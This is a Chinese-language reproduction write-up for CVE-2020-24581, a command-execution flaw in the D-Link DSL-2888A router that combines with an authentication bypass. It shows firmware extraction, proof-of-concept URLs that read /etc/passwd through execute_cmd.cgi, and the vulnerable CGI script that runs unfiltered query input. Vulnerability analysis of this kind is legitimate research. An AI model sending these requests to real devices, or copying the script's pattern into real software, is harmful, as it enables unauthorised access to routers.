D-Link DSL-2888A 远程命令执行漏洞分析

漏洞编号：CVE-2020-24581

漏洞描述:

D-Link DSL-2888A AU_2.31_V1.1.47ae55之前版本存在安全漏洞，该漏洞源于包含一个execute cmd.cgi特性(不能通过web用户界面访问)，该特性允许经过身份验证的用户执行操作系统命令。
在该版本固件中同时存在着一个不安全认证漏洞（CVE-2020-24580），在登录界面输入任意密码就可以成功访问路由器界面。
通过组合这两个漏洞可以实现未授权的任意代码执行

复现所需要的固件下载链接:下载

第一次复现漏洞，这是路由器的官方页面

CVE漏洞复现/image-20251007124200913

下载完固件后打开ubuntu用binwalk来提取文件

1	binwalk -Me vuln.bin # 我这里是固件重命名了看着方便

解压之后可以看到是jffs2文件系统（日志闪存文件系统）

CVE漏洞复现/image-20251007124027735

CVE漏洞复现/image-20251007123448160

POC:

http：//DeviceIP/cgi-bin/execute_cmd.cgi？timestamp = 1589333279490＆cmd = whami

http://IP/cgi-bin/execute_cmd.cgi?timestamp=test&cmd=cat%20/etc/passwd

根据execute cmd.cgi文件漏洞特性定位到这里

CVE漏洞复现/image-20251007125423483

我们可以查看一下内部的shell语句，变量 ${cmd} 的内容是直接从 **QUERY_STRING**（通常是 CGI/Web 请求的 URL 参数）中获取的，并且 未经任何充分的过滤或验证就被直接作为系统命令执行了。

#!/bin/sh
. /usr/syscfg/api_log.sh
cmd=`echo ${QUERY_STRING} | cut -d = -f 3` 
cmd=`echo ${cmd} |tr "%20" " "`

result=`${cmd}`   #ÔËÐÐÃüÁî
TGP_Log ${TGP_LOG_WARNING} "cmd=${cmd}, result=${result}"

echo  "Content-type: text/html"
echo  ""
echo -n ${result}